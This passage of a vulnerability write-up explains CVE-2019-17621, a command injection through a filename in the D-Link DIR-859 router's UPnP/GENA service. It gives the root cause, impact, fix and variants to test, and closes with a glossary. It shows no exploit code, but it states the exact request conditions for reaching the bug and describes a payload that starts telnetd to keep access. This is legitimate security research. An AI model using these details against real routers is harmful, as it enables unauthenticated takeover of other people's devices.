With this exploit the telnet service can then be started to maintain access.

The image above shows the exploit being run and the resulting telnet session on the router.
Root cause
The chain is a command injection through a filename. Command injection means untrusted text ends up being interpreted as commands by a shell. The service value from the request URI is copied by sprintf() into the SHELL_FILE field of the buffer sent to PHP, with no sanitisation. Sanitisation is the process of cleaning or rejecting input so that special characters lose their meaning; here it does not happen.
run.NOTIFY.php passes $SHELL_FILE unchanged to GENA_subscribe_new(), which passes it unchanged to GENA_notify_init(). There, fwrite() uses it as the name of a file under /var/run, and the second fwrite() writes a line containing rm -f followed by that same name. Because the name is written into a shell script, backquotes in the name are evaluated as command substitution when the rm line runs. The rm command will fail, because the filename string will be replaced by the output returned by the command inside the backquotes.
Reaching the vulnerable code requires three conditions: the request method must be SUBSCRIBE, the URI must contain ?service=, and the Callback header must contain a / after the scheme, since the code checks strchr(http_callback_2 + 7, 0x2f).
Impact
An attacker on the LAN can execute arbitrary commands on the router without authentication. In the demonstrated case the payload starts telnetd on port 9999, which can then be used to maintain access. The vulnerability is described as unauthenticated and LAN-facing, so the exposure is limited to networks from which the UPnP listener can be reached.
Fix
D-Link published a support announcement for this issue (SAP10147). The report does not describe the code change itself.
Variants to test
Each one describes what to try and what a positive result would look like.
- Other D-Link firmware that shares the
genacgi_main()/run.NOTIFY.php/gena.phpchain: send aSUBSCRIBErequest to/gena.cgiwith a backquoted command inserviceand aCallbackheader containing a path. A positive result is a file created under/var/runwhose name contains the command output, or the command's side effect, for example a new listening port. - Different command wrappers in the
servicevalue, such as$(...)instead of backquotes, to see whether the same filename path is evaluated by the shell.$(...)is the modern equivalent of backquotes and does the same job. A positive result is the same observable side effect. - Other GENA service names in the
serviceparameter, to check whether the$SERVICEbranch selection inrun.NOTIFY.phpchanges reachability ofGENA_notify_init(). A positive result is the script being written for a service value that was not covered in this report. - Other environment-derived fields in the
sprintf()format string, such as the callback host and URI, to see whether they reach a shell context elsewhere. A positive result is command execution through a field other thanservice.
Glossary
- Router: the device in a home or office that connects local devices to the internet and to each other.
- Firmware: the software built into a hardware device, stored on it and run when it starts.
- Firmware image: a single file containing the complete firmware of a device, usually downloadable from the manufacturer.
- Binary: a compiled program, made of processor instructions rather than readable source code.
- Decompiled pseudo-code: source-like text produced by a tool that analyses a binary, used to understand what the program does.
- Architecture (MIPS 32 bit): the family of processor a program is built for; a binary only runs on a matching processor.
- UPnP: Universal Plug and Play, a protocol that lets devices in a private network discover each other and open ports automatically.
- GENA: the part of UPnP that handles event subscriptions, where a device asks to be notified of changes.
- Port: a numbered channel on a machine through which a particular service communicates.
- LAN: local area network, the private network inside a home or office.
- Remote code execution (RCE): a flaw that lets an attacker make a device run commands they supply, over the network.
- Unauthenticated: reachable without any login, password or other proof of identity.
- CVE: a public identifier for a known security vulnerability, here CVE-2019-17621.
- Function: a named block of code that performs one job and can be called from elsewhere.
- Buffer: a fixed-size area of memory used to hold data such as text while a program works on it.
sprintf(): a standard function that builds text by substituting values into a template containing placeholders such as%sand%d.strchr(): a standard function that finds the first occurrence of a character in a string and returns its position.strncmp(): a standard function that compares two strings up to a given number of characters.strcasecmp(): a standard function that compares two strings ignoring upper and lower case.- Pointer: a value that records a position in memory, like a bookmark in a text.
- Environment variable: a named value passed to a program by the system or web server, often carrying details of the current request.
- HTTP method: the verb at the start of a web request, such as GET, POST or SUBSCRIBE, saying what kind of action is wanted.
- Header: a labelled line in an HTTP request or response carrying extra information, such as the host or the content type.
- URI / URL: the address of a resource; the URI is the part of the address the server uses to decide what to do.
- Query parameter: the part of a URL after
?, made of a name and a value, such asservice=file_name. - Process ID (PID): a number the operating system assigns to a running program to identify it.
- PHP: a programming language widely used for web pages and web back ends.
- Socket: an endpoint of a network connection between two programs.
- Shell: the command interpreter of an operating system that reads and runs commands.
- Shell script: a text file of shell commands that the shell executes.
- Command injection: a vulnerability where untrusted input is interpreted by a shell as commands.
- Sanitisation: cleaning or rejecting input so that special characters cannot change how it is interpreted.
- Backquotes: characters that wrap a command so the shell runs it and substitutes its output into the surrounding text.
- Command substitution: the shell feature of replacing a backquoted or
$(...)command with its output. fwrite(): a function that writes data to a file, creating it if needed.rm: the shell command that deletes files;-fmeans force, without asking./var/run: a directory on Unix-like systems holding files that describe running programs./dev/null: a special file that discards anything written to it.- Pipe (
|): a shell operator that feeds the output of one command into the input of the next. - TCP: the reliable transport protocol used by web traffic and many other services.
- Telnet: an old protocol for a remote text session, giving a command line on another machine.
telnetd: the server program that accepts telnet connections.- Payload: the part of an attack that carries the action the attacker wants, here the command placed in the
servicevalue. - PoC (proof of concept): a script or demonstration that shows a vulnerability can actually be exploited.
- CVE-2019-17621: the public identifier assigned to this D-Link DIR-859 vulnerability.